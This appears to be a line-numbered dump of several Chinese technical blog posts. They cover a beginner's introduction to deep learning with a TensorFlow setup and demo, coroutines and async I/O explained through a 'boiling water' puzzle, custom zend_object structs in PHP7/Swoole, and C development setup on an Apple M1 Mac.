通过借鉴和参考神经元的机制,科学家们模拟出了人工神经元和人工神经网络。当然,通过上述这个抽象的描述和图,比较难让大家理解它的机制和原理。我们以“房屋价格测算”作为例子,一起来看看: 58 | 59 | 一套房子的价格,会受到很多因素的影响,例如地段、朝向、房龄、面积、银行利率等等,这些因素如果细分,可能会有几十个。一般在深度学习模型里,这些影响结果的因素我们称之为特征。我们先假设一种极端的场景,例如影响价格的特征只有一种,就是房子面积。于是我们收集一批相关的数据,例如,50平米50万、93平米95万等一系列样本数据,如果将这些样本数据放到而为坐标里看,则如下图: 60 | 61 | ![img](images/AI-everyone-7.png) 62 | 63 | 然后,正如我们前面所说的,我们尝试用一个“函数”去拟合这个输入(面积x)和输出(价格y),简而言之,我们就是要通过一条直线或者曲线将这些点“拟合”起来。 64 | 65 | 假设情况也比较极端,这些点刚好可以用一条“直线”拟合(真实情况通常不会是直线),如下图: 66 | 67 | ![img](images/AI-everyone-8.png) 68 | 69 | 那么我们的函数是一个一次元方程f(x) = ax +b,当然,如果是曲线的话,我们得到的将是多次元方程。我们获得这个f(x) = ax +b的函数之后,接下来就可以做房价“预测”,例如,我们可以计算一个我们从未看见的面积案例81.5平方米,它究竟是多少钱? 70 | 71 | 这个新的样本案例,可以通过直线找到对应的点(黄色的点),如图下: 72 | 73 | ![img](images/AI-everyone-9.png) 74 | 75 | 粗略的理解,上面就是AI的概括性的运作方式。这一切似乎显得过于简单了?当然不会,因为,我们前面提到,影响房价其实远不止一个特征,而是有几十个,这样问题就比较复杂了,接下来,这里则要继续介绍深度学习模型的训练方式。这部分内容相对复杂一点,我尽量以业务工程师的视角来做一个粗略而简单的阐述。 76 | 77 | ### 3. 深度学习模型的训练方式 78 | 79 | 当有好几十个特征共同影响价格的时候,自然就会涉及权重分配的问题,例如有一些对房价是主要正权重的,例如地段、面积等,也有一些是负权重的,例如房龄等。 80 | 81 | (1)初始化权重计算 82 | 83 | 那么,第一个步其实是给这些特征加一个权重值,但是,最开始我们根本不知道这些权重值是多少?怎么办呢?不管那么多了,先给它们随机赋值吧。随机赋值,最终计算出来的估算房价肯定是不准确的,例如,它可能将价值100万的房子,计算成了10万。 84 | 85 | (2)损失函数 86 | 87 | 因为现在模型的估值和实际估值差距比较大,于是,我们需要引入一个评估“不准确”程度的衡量角色,也就是损失(loss)函数,它是衡量模型估算值和真实值差距的标准,损失函数越小,则模型的估算值和真实值的察觉越小,而我们的根本目的,就是降低这个损失函数。让刚刚的房子特征的模型估算值,逼近100万的估算结果。 88 | 89 | (3)模型调整 90 | 91 | 通过梯度下降和反向传播,计算出朝着降低损失函数的方向调整权重参数。举一个不恰当的比喻,我们给面积增加一些权重,然后给房子朝向减少一些权重(实际计算方式,并非针对单个个例特征的调整),然后损失函数就变小了。 92 | 93 | (4)循环迭代 94 | 95 | 调整了模型的权重之后,就可以又重新取一批新的样本数据,重复前面的步骤,经过几十万次甚至更多的训练次数,最终估算模型的估算值逼近了真实值结果,这个模型的则是我们要的“函数”。 96 | 97 | ![img](images/AI-everyone-10.png) 98 | 99 | 为了让大家更容易理解和直观,采用的例子比较粗略,并且讲述深度学习模型的训练过程,中间省略了比较多的细节。讲完了原理,那么我们就开始讲讲如何学习和搭建demo。 100 | 101 | ### 三、深度学习环境搭建 102 | 103 | 在2个月前,人工智能对我来说,只是一个高大上的概念。但是,经过一个多月的业余时间的认真学习,我发现还是能够学到一些东西,并且跑一些demo和应用出来的。 104 | 105 | **1. 学习的提前准备** 106 | 107 | (1)部分数学内容的复习,高中数学、概率、线性代数等部分内容。(累计花费了10个小时,挑了关键的点看了下,其实还是不太够,只能让自己看公式的时候,相对没有那么懵) 108 | 109 | (2)Python基础语法学习。(花费了3个小时左右,我以前从未写过Python,因为后面Google的TensorFlow框架的使用是基于Python的) 110 | 111 | (3)Google的TensorFlow深度学习开源框架。(花费了10多个小时去看) 112 | 113 | 数学基础好或者前期先不关注原理的同学,数学部分不看也可以开始做,全凭个人选择。 114 | 115 | **2. Google的TensorFlow开源深度学习框架** 116 | 117 | 深度学习框架,我们可以粗略的理解为是一个“数学函数”集合和AI训练学习的执行框架。通过它,我们能够更好的将AI的模型运行和维护起来。 118 | 119 | 深度学习的框架有各种各样的版本(Caffe、Torch、Theano等等),我只接触了Google的TensorFlow,因此,后面的内容都是基于TensorFlow展开的,它的详细介绍这里不展开讲述,建议直接进入官网查看。非常令人庆幸的是TensorFlow比较早就有中文社区了,尽管里面的内容有一点老,搭建环境方面有一些坑,但是已经属于为数不多的中文文档了,大家且看且珍惜。 120 | 121 | [TensorFlow 的中文社区](http://www.tensorfly.cn/) 122 | 123 | [TensorFlow 的英文社区](https://www.tensorflow.org/) 124 | 125 | **3. TensorFlow环境搭建** 126 | 127 | 环境搭建本身并不复杂,主要解决相关的依赖。但是,基础库的依赖可以带来很多问题,因此,建议尽量一步到位,会简单很多。 128 | 129 | **(1)操作系统** 130 | 131 | 我搭建环境使用的机器是腾讯云上的机器,软件环境如下: 132 | 133 | 操作系统:CentOS 7.2 64位(GCC 4.8.5) 134 | 135 | 因为这个框架依赖于python2.7和glibc 2.17。比较旧的版本的CentOS一般都是python2.6以及版本比较低的glibc,会产生比较的多基础库依赖问题。而且,glibc作为Linux的底层库,牵一发动全身,直接对它升级是比较复杂,很可能会带来更多的环境异常问题。 136 | 137 | **(2)软件环境** 138 | 139 | 我目前安装的Python版本是python-2.7.5,建议可以采用yum install python的方式安装相关的原来软件。然后,再安装 python内的组件包管理器pip,安装好pip之后,接下来的其他软件的安装就相对比较简单了。 140 | 141 | 例如安装TensorFlow,可通过如下一句命令完成(它会自动帮忙解决一些库依赖问题): 142 | 143 | ``` 144 | pip install -U tensorflow 145 | 146 | ``` 147 | 148 | 这里需要特别注意的是,不要按照TensorFlow的中文社区的指引去安装,因为它会安装一个非常老的版本(0.5.0),用这个版本跑很多demo都会遇到问题的。而实际上,目前通过上述提供的命令安装,是tensorflow (1.0.0)的版本了。 149 | 150 | ![img](images/AI-everyone-11.png) 151 | 152 | Python(2.7.5)下的其他需要安装的关键组件: 153 | 154 | - tensorflow (0.12.1),深度学习的核心框架 155 | - image (1.5.5),图像处理相关,部分例子会用到 156 | - PIL (1.1.7),图像处理相关,部分例子会用到 157 | 158 | 除此之后,当然还有另外的一些依赖组件,通过pip list命令可以查看我们安装的python组件: 159 | 160 | - appdirs (1.4.0) 161 | - backports.ssl-match-hostname (3.4.0.2) 162 | - chardet (2.2.1) 163 | - configobj (4.7.2) 164 | - decorator (3.4.0) 165 | - Django (1.10.4) 166 | - funcsigs (1.0.2) 167 | - image (1.5.5) 168 | - iniparse (0.4) 169 | - kitchen (1.1.1) 170 | - langtable (0.0.31) 171 | - mock (2.0.0) 172 | - numpy (1.12.0) 173 | - packaging (16.8) 174 | - pbr (1.10.0) 175 | - perf (0.1) 176 | - PIL (1.1.7) 177 | - Pillow (3.4.2) 178 | - pip (9.0.1) 179 | - protobuf (3.2.0) 180 | - pycurl (7.19.0) 181 | - pygobject (3.14.0) 182 | - pygpgme (0.3) 183 | - pyliblzma (0.5.3) 184 | - pyparsing (2.1.10) 185 | - python-augeas (0.5.0) 186 | - python-dmidecode (3.10.13) 187 | - pyudev (0.15) 188 | - pyxattr (0.5.1) 189 | - setuptools (34.2.0) 190 | - six (1.10.0) 191 | - slip (0.4.0) 192 | - slip.dbus (0.4.0) 193 | - tensorflow (1.0.0) 194 | - urlgrabber (3.10) 195 | - wheel (0.29.0) 196 | - yum-langpacks (0.4.2) 197 | - yum-metadata-parser (1.1.4) 198 | 199 | 按照上述提供的来搭建系统,可以规避不少的环境问题。 200 | 201 | 搭建环境的过程中,我遇到不少问题。例如:在跑官方的例子时的某个报错,AttributeError: 'module' object has no attribute 'gfile',就是因为安装的TensorFlow的版本比较老,缺少gfile模块导致的。而且,还有各种各样的。(不要问我是怎么知道的,说多了都是泪啊~) 202 | 203 | 更详细的安装说明:[Installing TensorFlow on Ubuntu](https://www.tensorflow.org/install/install_linux) 204 | 205 | **(3)TensorFlow环境测试运行** 206 | 207 | 测试是否安装成功,可以采用官方的提供的一个短小的例子,demo生成了一些三维数据, 然后用一个平面拟合它们(官网的例子采用的初始化变量的函数是initialize_all_variables,该函数在新版本里已经被废弃了): 208 | 209 | ``` 210 | #!/usr/bin/python 211 | #coding=utf-8 212 | 213 | import tensorflow as tf 214 | import numpy as np 215 | 216 | # 使用 NumPy 生成假数据(phony data), 总共 100 个点. 217 | x_data = np.float32(np.random.rand(2, 100)) # 随机输入 218 | y_data = np.dot([0.100, 0.200], x_data) + 0.300 219 | 220 | # 构造一个线性模型 221 | # 222 | b = tf.Variable(tf.zeros([1])) 223 | W = tf.Variable(tf.random_uniform([1, 2], -1.0, 1.0)) 224 | y = tf.matmul(W, x_data) + b 225 | 226 | # 最小化方差 227 | loss = tf.reduce_mean(tf.square(y - y_data)) 228 | optimizer = tf.train.GradientDescentOptimizer(0.5) 229 | train = optimizer.minimize(loss) 230 | 231 | # 初始化变量,旧函数(initialize_all_variables)已经被废弃,替换为新函数 232 | init = tf.global_variables_initializer() 233 | 234 | # 启动图 (graph) 235 | sess = tf.Session() 236 | sess.run(init) 237 | 238 | # 拟合平面 239 | for step in xrange(0, 201): 240 | sess.run(train) 241 | if step % 20 == 0: 242 | print step, sess.run(W), sess.run(b) 243 | 244 | # 得到最佳拟合结果 W: [[0.100 0.200]], b: [0.300] 245 | 246 | ``` 247 | 248 | 运行的结果类似如下: 249 | 250 | ![img](images/AI-everyone-12.png) 251 | 252 | 经过200次的训练,模型的参数逐渐逼近最佳拟合的结果(W: [[0.100 0.200]], b: [0.300]),另外,我们也可以从代码的“风格”中,了解到框架样本训练的基本运行方式。虽然,官方的教程后续会涉及越来越多更复杂的例子,但从整体上看,也是类似的模式。 253 | 254 | ![img](images/AI-everyone-13.png) 255 | 256 | **步骤划分** 257 | 258 | - 准备数据:获得有标签的样本数据(带标签的训练数据称为有监督学习); 259 | - 设置模型:先构建好需要使用的训练模型,可供选择的机器学习方法其实也挺多的,换而言之就是一堆数学函数的集合; 260 | 损失函数和优化方式:衡量模型计算结果和真实标签值的差距; 261 | - 真实训练运算:训练之前构造好的模型,让程序通过循环训练和学习,获得最终我们需要的结果“参数”; 262 | - 验证结果:采用之前模型没有训练过的测试集数据,去验证模型的准确率。 263 | 264 | 其中,TensorFlow为了基于python实现高效的数学计算,通常会使用到一些基础的函数库,例如Numpy(采用外部底层语言实现),但是,从外部计算切回到python也是存在开销的,尤其是在几万几十万次的训练过程。因此,Tensorflow不单独地运行单一的函数计算,而是先用图描述一系列可交互的计算操作流程,然后全部一次性提交到外部运行(在其他机器学习的库里,也是类似的实现)。 265 | 266 | 所以,上述流程图中,蓝色部分都只是设置了“计算操作流程”,而绿色部分开始才是真正的提交数据给到底层库进行实际运算,而且,每次训练一般是批量执行一批数据的。 267 | -------------------------------------------------------------------------------- /_/coroutine-boil-water.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "并发,协程与烧开水问题" 3 | date: 2018-05-21 15:22:42 4 | tags: [coroutine] 5 | --- 6 | 7 | ## 前言扯淡 8 | 9 | 烧水是一件很神奇的事情, 首先有这么一个家喻户晓的传说故事: 10 | 11 | "瓦特小的时候,看见炉子上壶里的水沸腾了。蒸汽把壶盖顶了起来,瓦特从中受到启发,长大后发明了蒸汽机,成为著名的发明家。" 12 | 13 | 当然,真实的蒸汽机的真正意义上发明也是类似的, "约1679年法国物理学家丹尼斯·巴本在观察蒸汽冒出他的高压锅后制造了第一台蒸汽机的工作模型"。后来,人类进入了蒸汽时代。 14 | 15 | 直到今天都没有找到能够替代"烧开水"获取能源的方案,这个有意思的概念来源于一个知乎问题[人类的能源大多都是靠烧开水,这种说法正确吗?](https://www.zhihu.com/question/22355784),最后得出的结论是:我们寿命内,可用的能源主要来源靠烧水。 16 | 17 | 18 | 19 | 20 | 21 | ## 烧开水问题 22 | 23 | 当然,今天想说的协程之于烧开水问题,和上述烧开水没有一毛钱关系(狗头,而是与另外一个家喻户晓的烧开水问题息息相关: 24 | 25 | > 烧开水10分钟,洗衣机洗衣服21分钟,做作业20分钟,最少多少分钟完成这些事情 26 | 27 | 这是我们小学时候常做的逻辑题,那时候心智不够,很容易掉进陷阱,没有能够**调度**各个任务的思维,把时间加在一起,这就是经典的**同步阻塞**: 28 | 29 | 1. 你烧水 30 | 2. 等水开 31 | 3. 水开后用洗衣机洗衣服 32 | 4. 等衣服洗完 33 | 5. 做作业 34 | 35 | 而正解是,我们要给事件分类,哪些是可以并发且可并行的,哪些是需要单独做的: 36 | 37 | - 可并发并行的:洗衣机洗衣服,烧开水 38 | - 需要单独做的:做作业 39 | 40 | 将他们类比成计算机的任务 41 | 42 | - 耗时任务,但不需要使用脑子(CPU)的:磁盘IO,可定时/后台运行的任务等 43 | - 需要CPU密集计算处理的:业务逻辑,数据分析等 44 | 45 | 那么就是: 46 | 47 | 1. 设定好洗衣机和烧上水 (发起并发请求), 挂起任务让出控制权(yield), 然后马上去写作业(CPU继续干活) 48 | 2. 完成提示音通知你任务完成你可以收尾(事件回调) 49 | 50 | 这样我们实际上耗费的时间就是 `CPU运算任务耗时 + Max(...可并发并行任务耗时)` 51 | 52 | 这是这个问题最优解, 大脑(CPU)没有把时间浪费到无谓的等待中, 而(客户端)可并发特性使得两个请求可以同时开始,最后洗衣机的电子音和水壶的水烧开的声音会提醒你(Callback)让你收尾处理这两个事件的完成 53 | 54 | 55 | 56 | ## IO阻塞 57 | 58 | ### 同步 59 | 60 | 我们可以看下面这样一段代码 61 | 62 | ```php 63 | $data = file_get_contents('./data.json'); 64 | echo $data; 65 | ``` 66 | 67 | 这是常见的文件读取操作, 在file_get_contents函数从磁盘中拿回文件数据前, 代码并不会继续运行, 而是等待返回, 因为后续的打印数据依赖上一条指令获取的数据的返回值, 这就是常见的同步编程. 68 | 69 | ### 异步 70 | 71 | 我们再来看一个经典的jQuery时代的ajax 72 | 73 | ```javascript 74 | $.ajax({ 75 | url: "foo", 76 | data:1, 77 | success: function (a) { 78 | $.ajax({ 79 | url: "bar", 80 | data:a, 81 | success: function (b) { 82 | $.ajax({ 83 | url: "baz", 84 | data:b, 85 | success: function (c) { 86 | console.log(c) 87 | } 88 | }) 89 | } 90 | }) 91 | } 92 | }) 93 | console.log('lol~') 94 | ``` 95 | 96 | 代码在执行到ajax的时候, 函数会直接返回, 你马上就可以看到屏幕上欢快地打印出了`lol~` 97 | 98 | 这就是异步, 这样你永远不会被IO阻塞, 但是它带来了新的问题, 在你运行到lol之后, 你就不知道现在代码运行到哪去了, 你只能等待回调被触发, 然后屏幕上打印出相应的log, 它的执行不是单层顺序的, 而是嵌套的. 99 | 100 | 如果在业务代码中, 这样的层层嵌套可读性可想而知. 101 | 102 | ### 异步+ 103 | 104 | 后来为了解决异步回调地狱, 发展出了Promise的方案, 这样的写法比回调要直观多了 105 | 106 | 以下代码引用自 [理解 JavaScript 的 async/await](https://segmentfault.com/a/1190000007535316) 107 | 108 | ```javascript 109 | function takeLongTime(n) { 110 | return new Promise(resolve => { 111 | setTimeout(() => resolve(n + 200), n); 112 | }); 113 | } 114 | function step1(n) { 115 | console.log(`step1 with ${n}`); 116 | return takeLongTime(n); 117 | } 118 | 119 | function step2(n) { 120 | console.log(`step2 with ${n}`); 121 | return takeLongTime(n); 122 | } 123 | 124 | function step3(n) { 125 | console.log(`step3 with ${n}`); 126 | return takeLongTime(n); 127 | } 128 | 129 | function doIt() { 130 | console.time("doIt"); 131 | const time1 = 300; 132 | //promise的链式调用,比callback清晰多了 133 | step1(time1) 134 | .then(time2 => step2(time2)) 135 | .then(time3 => step3(time3)) 136 | .then(result => { 137 | console.log(`result is ${result}`); 138 | console.timeEnd("doIt"); 139 | }); 140 | } 141 | doIt(); 142 | ``` 143 | 144 | ### 异步++ 145 | 146 | Promise以后, 又进化出了async/await语法糖, 可以说是异步终极方案了, 看起来简直就跟同步代码一模一样! 147 | 148 | ```javascript 149 | async function doIt() { 150 | console.time("doIt"); 151 | const time1 = 300; 152 | const time2 = await step1(time1); 153 | const time3 = await step2(time2); 154 | const result = await step3(time3); 155 | console.log(`result is ${result}`); 156 | console.timeEnd("doIt"); 157 | } 158 | doIt(); 159 | ``` 160 | 161 | ### 协程 162 | 163 | 164 | 165 | 166 | 167 | 其实在实际的程序中, 磁盘IO等阻塞的时间是远远大于CPU运算时间的, **根据Amdahl定理, 你想要加速一个系统, 必须提升全系统中相当大的部分的速度**, 而现在的大部分WEB服务, **瓶颈都在数据库IO而非密集运算**, 大家可以参考一篇文章: [让 CPU 告诉你硬盘和网络到底有多慢](http://twosee.cn/2017/12/28/how-slow-is-disk-and-network/),这篇文章很形象地告诉了你, IO是如何把团队发育带崩的: 168 | 169 | **如果假设CPU执行一个指令需要1秒, 那么磁盘寻址花费的时间就是10个月, 从磁盘读取 1MB 连续数据需要20个月! 而如果是网络IO, 很可能达到十数年甚至更久!** 170 | 171 | 也就是说, 在IO等待的时候, CPU足足荒废了几年的美好光阴! 172 | 173 | 让我们来看看这张经典的存储器层次结构示例: 174 | 175 | ![](https://ws1.sinaimg.cn/large/006DQdzWly1frpv6p5dnmj30vn0h5tc2.jpg) 176 | 177 | 所以如果能把IO阻塞浪费的时间优化掉, 就可以提升了多倍的并发处理能力, 比起优化代码逻辑和算法的收益更加可观, 因此而节省的硬件成本也相当可观(否则你会陷入不断加机器/换SSD/加内存做cache的困扰中) 178 | 179 | 180 | 181 | ## 协程不能解决的问题 182 | 183 | > 小学课上,女孩对男孩说“蒸一个包子要3分钟,那蒸3个包子要几分钟”,男孩说“9分钟”,女孩说你傻呀,你家蒸包子是一个一个地蒸啊…然后男孩对女孩说“吃一个苹果要一分钟,那吃9个苹果要几分钟”,女孩说你以为我和你一样傻啊,当然是9分钟了。男孩什么也没说,直接拿了9个苹果放到女孩面前说你9分钟把它们都吃完吧…… 184 | 185 | 包子可以一起蒸, 是因为一个正常蒸笼(预防杠精)有蒸三个正常包子(预防杠精)的能力 186 | 187 | 苹果只能一个个吃, 是因为正常人一般(预防杠精)只有一次吃一个正常苹果(预防杠精)的能力 188 | 189 | 所以协程不能解决的问题是: **它不能解决你数据库的上限瓶颈, 数据库能承受多少压力, 它还是多少** 190 | 191 | (已做连接池的情况下, 连接池是常驻内存运行的福利, 和协程无关) 192 | 193 | 有人在PHPcon上问Rango: "韩老师, 我们的业务在高并发的时候, redis数据库很容易被击穿, 这该怎么办?" 194 | 195 | Rango就答了: "这不是swoole可以解决的问题, 你可以了解下`twemproxy` 196 | 197 | 198 | 199 | ## 并发和并行 200 | 201 | 这两个词对于编程新手就像`/`和`\`两个符号一样难以记忆, 网上也没有看到一个比较好又形象的通俗解释, 在这里我可以给出一种不错的记忆方法: 202 | 203 | 并发可以理解为客户端的一个特性, 客户端可以一次性发出多个请求, 称之为`并发`. 204 | 205 | 并行可以理解为服务器同时能处理任务的这个能力, 比如一般来说, MySQL一个连接就是一个线程, 如果不使用线程池等技术, 它所能创建线程数量就是它可以`并行`处理请求的能力. 206 | 207 | 并发: 同时发出(请求) 208 | 209 | 并行: 同时执行(任务) 210 | 211 | 212 | 213 | -------------------------------------------------------------------------------- /_/custom-zend-object-hack-way.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "自定义zend_object的结构体的hack技巧" 3 | date: 2018-07-17 00:08:00 4 | tags: [php, zend] 5 | --- 6 | 7 | 研究这个主要是为了解决`swoole-socket`模块的一个coredump的bug, 之前swoole采用了`swoole_get/set_object`等做法来存取对应的对象, 只有socket模块使用了魔改zend_object的方法, 但是PHP7里用了比较hack的结构体技巧, 导致了一系列问题, 想魔改zend_object, 需要一番操作, 中文文档很难找到用法的, 都是一笔带过, 需要去看英文文档. 8 | 9 | 虽然只有一次提交, 但其实改了不下几十遍, 在此记录一下: 10 | 11 | > 第一个参考文章: https://segmentfault.com/a/1190000004173452 12 | 13 | Swoole在`socket coro`中使用了别的模块没有用到的自定义zend_object属性的技巧, 但是PHP7中它需要做额外的处理, 导致了一些问题. 14 | 15 | ### 坑1 16 | 17 | 因为 `zend_object` 在存储属性表时用了结构体 hack 的技巧,`zend_object` 尾部存储的 PHP 属性会覆盖掉后续添加进去的内部成员。所以 PHP7 的实现中必须把自己添加的成员添加到标准对象结构的前面: 18 | 19 | ``` 20 | struct custom_object { 21 | uint32_t something; 22 | // ... 23 | zend_object std; 24 | }; 25 | ``` 26 | 不过这样也就意味着现在无法直接在 zend_object* 和 struct custom_object* 进行简单的转换了,因为两者都一个偏移分割开了。所以这个偏移量就需要被存储在对象 handler 表中的第一个元素中,这样在编译时通过 offsetof() 宏就能确定具体的偏移值 27 | 28 | 29 | 30 | ---- 31 | 32 | 但是现在仍不知道具体的操作方式, 只能去搜官网的英文文档等 33 | 34 | 官网有一篇从PHP5升级到PHPNG的文章中提到了这个坑 35 | 36 | > ref: https://wiki.php.net/phpng-upgrading 37 | 38 | Custom Objects 一节: 39 | 40 | ```C 41 | zend_object * custom_object_new(zend_class_entry *ce TSRMLS_DC) { 42 | # Allocate sizeof(custom) + sizeof(properties table requirements) 43 | struct custom_object *intern = ecalloc(1, 44 | sizeof(struct custom_object) + 45 | zend_object_properties_size(ce)); 46 | # Allocating: 47 | # struct custom_object { 48 | # void *custom_data; 49 | # zend_object std; 50 | # } 51 | # zval[ce->default_properties_count-1] 52 | zend_object_std_init(&intern->std, ce TSRMLS_CC); 53 | ... 54 | custom_object_handlers.offset = XtOffsetOf(struct custom_obj, std); 55 | custom_object_handlers.free_obj = custom_free_storage; 56 | 57 | intern->std.handlers = custom_object_handlers; 58 | 59 | return &intern->std; 60 | } 61 | ``` 62 | 63 | 对应的是swoole中的 64 | 65 | ```C 66 | swoole_socket_coro_class_entry_ptr->create_object = swoole_socket_coro_create; 67 | 68 | static zend_object *swoole_socket_coro_create(zend_class_entry *ce TSRMLS_DC) 69 | { 70 | socket_coro *sock = ecalloc(1, sizeof(socket_coro) + zend_object_properties_size(ce)); 71 | // 这里要给properties_size额外分配内存 72 | zend_object_std_init(&sock->std, ce TSRMLS_CC); 73 | object_properties_init(&sock->std, ce); //这是坑2加的 74 | sock->std.handlers = &swoole_socket_coro_handlers; 75 | 76 | return &sock->std; 77 | } 78 | ``` 79 | 80 | 然后我们得做一个方法和一个**`Z_SOCKET_CORO_OBJ_P`**宏来从zval或zend_object获取socket_coro 81 | 82 | ```C 83 | static inline socket_coro * sw_socket_coro_fetch_object(zend_object *obj) 84 | { 85 | return (socket_coro *) ((char *) obj - XtOffsetOf(socket_coro, std)); 86 | } 87 | 88 | #define Z_SOCKET_CORO_OBJ_P(zv) sw_socket_coro_fetch_object(Z_OBJ_P(zv)); 89 | ``` 90 | 91 | 在方法里这么用 92 | 93 | ```C 94 | socket_coro *sock = (socket_coro *) Z_SOCKET_CORO_OBJ_P(getThis()); 95 | ``` 96 | 97 | 98 | ### 坑2 99 | 100 | 但是这里又踩了个坑...使用自定义的create_object之后…对象属性并不会自己初始化 101 | 102 | 我发现之前的swoole socket coro压根没有errCode属性... 103 | 104 | 在zend_object里没有相关API, 好不容易又找到另一篇文章, 找到了API... 105 | 106 | > ref: http://www.phpinternalsbook.com/classes_objects/custom_object_storage.html 107 | 108 | 在Overriding create_object一节... 109 | 110 | ```C 111 | object_properties_init(&sock->std, ce); 112 | ``` 113 | 114 | ### 坑3 115 | 116 | 之前没用过socket组件, accept会返回一个socket coro对象, 以为修好了, server端又coredump了 117 | 118 | 因为: 119 | 120 | 在创建对象的时候,Zend并不会帮我们调用构造函数,需要我们自己显式的在object上调用__construct方法 121 | 122 | 或者做和__construct方法一样的事情 123 | 124 | 在onReadable事件里这样改 125 | 126 | ```C 127 | if (conn >= 0) 128 | { 129 | zend_object *client; 130 | client = swoole_socket_coro_create(swoole_socket_coro_class_entry_ptr); 131 | socket_coro *client_sock = (socket_coro *) sw_socket_coro_fetch_object(client); 132 | ZVAL_OBJ(&result, &client_sock->std); 133 | client_sock->fd = conn; 134 | client_sock->domain = sock->domain; 135 | client_sock->object = result; 136 | } 137 | ``` 138 | -------------------------------------------------------------------------------- /_/develop-on-apple.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 在MacOS平台上进行C开发的一些经验(Apple M1) 3 | date: 2021-12-04 21:50:12 4 | tags: ["macOS", "m1", "C", "PHP"] 5 | --- 6 | 7 | ## 前言 8 | 9 | 最近把从2017年就开始用的13寸乞丐版MacBookPro淘汰了。它是我打从学习编程开始就一直在用的电脑,到现在也有四年了,多少有点感情,但它实在是太卡了,因此,我不得不…… 10 | 11 | 因为太卡了,放弃了eclipse转用vscode,但vscode的宏展开始终没有eclipse好用,不能无限层级往下展开,而是只能展开一层,对于看PHP内核或者PHP扩展这种宏孩儿少不了的代码来说不是很友好。 12 | 13 | 因为太卡了,PhpStorm还得定期重启,键入代码有延迟,在PHP内核里checkout一个branch要花费甚至几分钟的时间,所以贡献也变少了… 有些patch写了以后也没提交。 14 | 15 | 因为太卡了,编译一次PHP可能得十来分钟,编译一次Swoole扩展得两三分钟,编译Swow和libcat稍微好一点,都是纯C项目,但如果是完全从头编译,也是分钟级的。 16 | 17 | 尤其是在虚拟机中编译,大概是文件系统慢的问题,make clean都要跑好一会,编译速度慢的那叫离谱他妈给离谱开门,离谱到家了。 18 | 19 | 那么为什么使用虚拟机呢?因为MacOS下无法使用valgrind,不能进行内存问题跟踪,没有strace,不能进行系统调用跟踪。 20 | 21 | lldb倒是挺好用的,除了不支持source gdb脚本以外,几乎没有缺点,watchpoint功能也比gdb好用。 22 | 23 | 但是综上,很多时候问题都只能在Linux下调试,所以不得不上虚拟机。 24 | 25 | ## 一波三折 26 | 27 | MacBook Pro 2021新款 带着 M1 Pro / Max横空出世,发布会当天因为一些事情累得不行,睡得很早,但是发布会开始的那个点,突然就从梦中惊醒,从床上垂死病中惊坐起,看完了发布会,感觉这新电脑真的是非常的amazing啊。而且我从19年开始一直在做等等党,本着永不言败的心态,结果输得彻彻底底,这次是非买不可了,第二天开始就一直蹲着等下单,然后第一时间购入了顶配,四年前是家里人赞助我买的,所以选择了最低配,但如今它已是我吃饭的家伙,性能就是生产力,这一次,顶配必须拿捏! 28 | 29 | 没想到,接下来竟是一个多月的苦等,64G全面缺货,大批订单延期,知乎上甚至还有一帮知友组了个维权群,加进去一看,受害者竟高达上百人…… 30 | 31 | 期间公司还组织了团购,说是可能有85折优惠,听得我差点送去吸氧气瓶。 32 | 33 | ## 以下是正文 (或许) 34 | 35 | 一波三折还是到手了。 36 | 37 | ## 纯净迁移 38 | 39 | 首先,由于是intel转m1,x86转arm,所以用时间机器去转移老电脑的数据并不是一个明智的选择,而且原来的电脑积攒了四年的垃圾文件,有些初学时就深埋在我系统目录里的各种垃圾文件和奇怪配置也不好处理,所以我选择了重新捣鼓系统。 40 | 41 | 迁移比预想的要顺利很多,连起来算不到一天我就把所有东西都迁移完了,老电脑上看似不可或缺的东西很多,但其实常用的就那么一些。 42 | 43 | 顺便,有很多网站可以看M1上现在有哪些软件可用,哪些不可用,这里推荐一个:https://doesitarm.com/ 44 | 45 | 目前我用到的除了luajit,没有不能用的,噢还有个pcre.jit,记得在编译PHP的时候用`--without-pcre-jit`选项关闭噢,不然会报warning,PHP内核本身的 `make install`里使用了PHP脚本,如果不关闭,安装都安装不了。 46 | 47 | ## Homebrew 48 | 49 | homebrew在m1上的默认包安装路径从`/usr/local`变成了`/opt/homebrew`, blame了官方提交也没说是为什么,但README里说不按默认路径来可能会遇到奇怪的问题,所以还是老老实实转用`/opt/homebrew/`吧。 50 | 51 | 然后环境变量里需要配好多环境变量,那些C项目才能build起来,这里稍微分享下我当前的环境变量配置(放在`zshrc`里的) 52 | 53 | ```php 54 | export PATH="\ 55 | $(brew --prefix openssl@1.1)/bin:\ 56 | $(brew --prefix libiconv)/bin:\ 57 | $(brew --prefix curl)/bin:\ 58 | $(brew --prefix bison)/bin:\ 59 | $PATH\ 60 | " 61 | export LDFLAGS="$LDFLAGS \ 62 | -L$(brew --prefix openssl@1.1)/lib \ 63 | -L$(brew --prefix libiconv)/lib \ 64 | -L$(brew --prefix curl)/lib \ 65 | -L$(brew --prefix bison)/lib \ 66 | " 67 | 68 | export LIBS="$LIBS -lssl -lcrypto" 69 | 70 | export CFLAGS="$CFLAGS \ 71 | -I$(brew --prefix openssl@1.1)/include \ 72 | -I$(brew --prefix libiconv)/include \ 73 | -I$(brew --prefix curl)/include \ 74 | " 75 | 76 | export CPPFLAGS="$CPPFLAGS \ 77 | -I$(brew --prefix openssl@1.1)/include \ 78 | -I$(brew --prefix libiconv)/include \ 79 | -I$(brew --prefix curl)/include \ 80 | " 81 | 82 | export PKG_CONFIG_PATH="\ 83 | $(brew --prefix openssl@1.1)/lib/pkgconfig:\ 84 | $(brew --prefix curl)/lib/pkgconfig:\ 85 | $PKG_COFNIG_PATH\ 86 | " 87 | 88 | export OPENSSL_ROOT_DIR="$(brew --prefix openssl@1.1)" 89 | export OPENSSL_LIBS="-L$(brew --prefix openssl@1.1)/lib" 90 | export OPENSSL_CFLAGS="-I$(brew --prefix openssl@1.1)/include" 91 | ``` 92 | 93 | 我对于C构建系统也就是懂点皮毛,能写CMakeList和autoconf生态的m4,90%的构建问题都能自行解决但有时候也不知道原理是啥的那种程度,就我在m1构建C项目的体验上而言,我觉得对于完全不懂构建系统的小伙伴来说,想编译明白东西还是会挺痛苦的。 94 | 95 | ## All in MacOS 之 为啥不需要虚拟机了 96 | 97 | 我现在基本上all in macOS了,macOS成为了我的主力开发环境,没有虚拟机套娃肯定是性能最优的,但是调试的问题怎么解决呢。 98 | 99 | ### 内存跟踪问题 100 | 101 | 